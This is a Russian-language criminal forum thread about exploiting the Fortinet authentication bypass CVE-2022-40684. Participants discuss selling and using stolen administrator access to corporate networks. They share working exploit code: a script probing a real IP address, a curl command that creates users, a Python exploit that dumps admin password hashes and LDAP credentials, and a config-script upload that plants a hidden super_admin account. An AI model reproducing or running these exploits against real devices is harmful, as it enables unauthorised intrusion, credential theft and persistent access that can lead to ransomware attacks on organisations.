• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Fortinet CVE-2022-40684

ребзя а доступ в фортиаунтификатор это типо по этой теме ? есть админ доступ с логов ... франция сеток на борту 15 +
есть 500 кк ренька у одной
если у тебя уже доступ есть, то уязвимость и не нужна )
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Странный фортик попался... Уязвимый, но периодически отдает 401 Unauthorized, что как бы намекает на неуязвимость. В чем может быть причина?
Python:
import ssl
from urllib.request import urlopen, Request
from time import sleep


def fetch(url, method):
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    headers = {
        'User-Agent': 'Report Runner',
        'Forwarded': 'for="[127.0.0.1]:8080";by="[127.0.0.1]:8081";',
    }

    return urlopen(
        Request(url, headers=headers),
        context=context
    )


if __name__ == '__main__':
    url = 'https://188.95.133.37/api/v2/cmdb/user/local/'
    while True:
        try:
            resp = fetch(url, method='GET')
            print(resp.status)
        except Exception as err:
            print(err)
            sleep(1)
            continue
Код:
200
200
HTTP Error 401: Unauthorized
HTTP Error 401: Unauthorized
HTTP Error 401: Unauthorized
HTTP Error 401: Unauthorized
200
200
200
 
если не работает ssh, подскажите какими пут запросами можно создать юзера впн, или сменить пароль текущему? мануал мож где есть, какие команды фортик через вебку принимает?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Код:
curl --insecure -XPOST -H 'User-Agent: Report Runner' -H 'Forwarded: for="[127.0.0.1]:8080";by="[127.0.0.1]:8081";' -H 'Content-type: application/json' -H "Content-type: application/json" -d '{'name': 'username', 'passwd': 'password', 'type': 'password'}' 'https://127.0.0.1/api/v2/cmdb/user/local/'
 
Расскажу, пожалуй, как декриптить пароли. Если уже рассказывали - вытащу из под хайда.
Также если вдруг кто заметил, сейчас есть куча сеток которые на GET с UA "Node.js" отдают API, а вот когда пытаешься сделать PUT, что с UA "Report Runner", что с "Node.js" - оно шлёт тебя нафиг с 403 еррором.
Если вдруг кто знает как это обойти - расскажите, пожалуйста.
А я вам чо-нибудь интересное тоже расскажу ;)
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Давненько не смотрел эту багу, тут взял 5 хостов при заливке ключа и конекте с пасом ssh пишет Permission denied, please try again.
Патч?
А ты чекал на уязвимость? Админы или юзеры выводятся?
Если они уязвимы, скинь мне эти хосты, я добавлю твоего админа без ссш и ебли с ключами
 
L
А ты чекал на уязвимость? Админы или юзеры выводятся?
Если они уязвимы, скинь мне эти хосты, я добавлю твоего админа без ссш и ебли с ключами
Да выводятся. Яж раньше через ключи заходил, мож, что с ключиками не то хотя раза 3 их пересоздавал и безтолку.
 
А ты чекал на уязвимость? Админы или юзеры выводятся?
Если они уязвимы, скинь мне эти хосты, я добавлю твоего админа без ссш и ебли с ключами
у тебя скрипт какой под это дело есть или ручками?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
у тебя скрипт какой под это дело есть или ручками?

Свой скрипт.
wav по ссш их тоже пускает, вероятно была проблема с твоим ключом
 
чёто ничего не понимаю, ключи генерю и на убунте и на винде, при заливе и конекте пасс не подходит, чё за лажа мож кто сталкивался? скинте ключики в пм кому не сложно и пас на них.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
чёто ничего не понимаю, ключи генерю и на убунте и на винде, при заливе и конекте пасс не подходит, чё за лажа мож кто сталкивался? скинте ключики в пм кому не сложно и пас на них.
А зачем ты пас на них генерируешь, может в этом проблема?
 
Малёха попилил скрипт, а пасы не выводит
←[93m[+]←[0m Admin username: admin
←[93m[+]←[0m Admin password: ENC XXXX
←[93m[+]←[0m Level access: super_admin

Код:
#!/usr/bin/env python3
import requests
import sys
import urllib3
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit(target):

    if target[-1] == "/":
        target = target[:-1]
        
    print("Exploiting target: {}".format(target))
    headers = {
        "user-agent": "Node.js",
        "accept-encoding": "gzip, deflate",
        "Host": "127.0.0.1:9980",
        "forwarded": 'by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=',
        "x-forwarded-vdom": "root",
    }

    r = requests.get(target + "/api/v2/cmdb/system/admin", headers=headers, verify=False)
    if(r.status_code == 200):
        
        print("\033[92m[+] The target {} is vulnerable\033[0m".format(target))
        data = json.loads(r.text)
        for user in data['results']:
            print("\033[93m[+]\033[0m Admin username: {}".format(user['name']))
            print("\033[93m[+]\033[0m Admin password: {}".format(user['password']))
            print("\033[93m[+]\033[0m Level access: {}".format(user['accprofile']))
        print("[+] Serial: {}".format(data['serial']))
        print("[+] Version: {}".format(data['version']))

        r = requests.get(target + "/api/v2/cmdb/user/ldap", headers=headers, verify=False)
        data = json.loads(r.text)
        if(len(data['results']) > 0):
            print("[+] Leaking ldap config")
            print("\033[93m[+]\033[0m LDAP server: {}".format(data['results'][0]['name']))
            print("\033[93m[+]\033[0m LDAP server: {}".format(data['results'][0]['server']))
            print("\033[93m[+]\033[0m LDAP binddn: {}".format(data['results'][0]['dn']))
            print("\033[93m[+]\033[0m LDAP username: {}".format(data['results'][0]['username']))
            print("\033[93m[+]\033[0m LDAP password: {}".format(data['results'][0]['password']))

    else:
        print("[-] The target is not vulnerable")   

def main():
    if len(sys.argv) != 2:
        print("Usage: exploit.py <target>")
        print("Example: exploit.py https://target:8443")
        sys.exit(1)
    target = sys.argv[1]
    exploit(target)

if __name__ == "__main__":
    main()
 
чёто ничего не понимаю, ключи генерю и на убунте и на винде, при заливе и конекте пасс не подходит, чё за лажа мож кто сталкивался? скинте ключики в пм кому не сложно и пас на них.
бывает начинает пароль запрашивать, когда не открыт ссш на нужном интерфейсе
 
бывает начинает пароль запрашивать, когда не открыт ссш на нужном интерфейсе
дак я даже без паса генерирую такая же беда. хз чё такое. с двух систем пробовал и винь и линь.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тоже накину немного инфы, кому интересно
Как выполнить любую CLI-команду без ssh досутпа.
В фортиках есть функция загрузки и шедулинга кастомных скриптов, auto-script называется.
endpoint: /api/v2/monitor/system/config-script/upload
post-payload: {"file_content": b64_cli_cmd_content, "filename":"script"}
Отправляем тело скрипта в base64 имя любое. Он выполнится сразу. В доках можно подробнее узнать, что с ними делать.
на питоне примерно так выглядит добавление админа
Python:
import requests
from base64 import b64encode

HOST = 'https://127.0.0.1'

headers = {
    'Forwarded': 'for="[127.0.0.1]:8080";by="[127.0.0.1]:8081";',
    'User-Agent': 'Report Runner',
}

script =
"""
    config system admin
    edit "FenebutLockbitEbut"
    set accprofile "super_admin"
    set vdom "root"
    set password P@$$w0rd
    end
"""
post_data = {"file_content": b64encode(script.encode()).decode(),"filename":"pohui.txt"}
resp = requests.post(HOST + '/api/v2/monitor/system/config-script/upload',
     json=post_data,
     headers=headers,
     verify=False,
)
print(resp.json().get('status'))

Иногда бывает, что по дефолту консоль висит в другом виртуальном домене, поэтому если первый запрос обломается со status: error, то дописываем команду config global в начало переменной script
Python:
script = 'config global\n' + script
В ответе оиждаем status: success при успешном выполнении. Метод out of bound, поэтому вывода нет, только статус выполнения.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх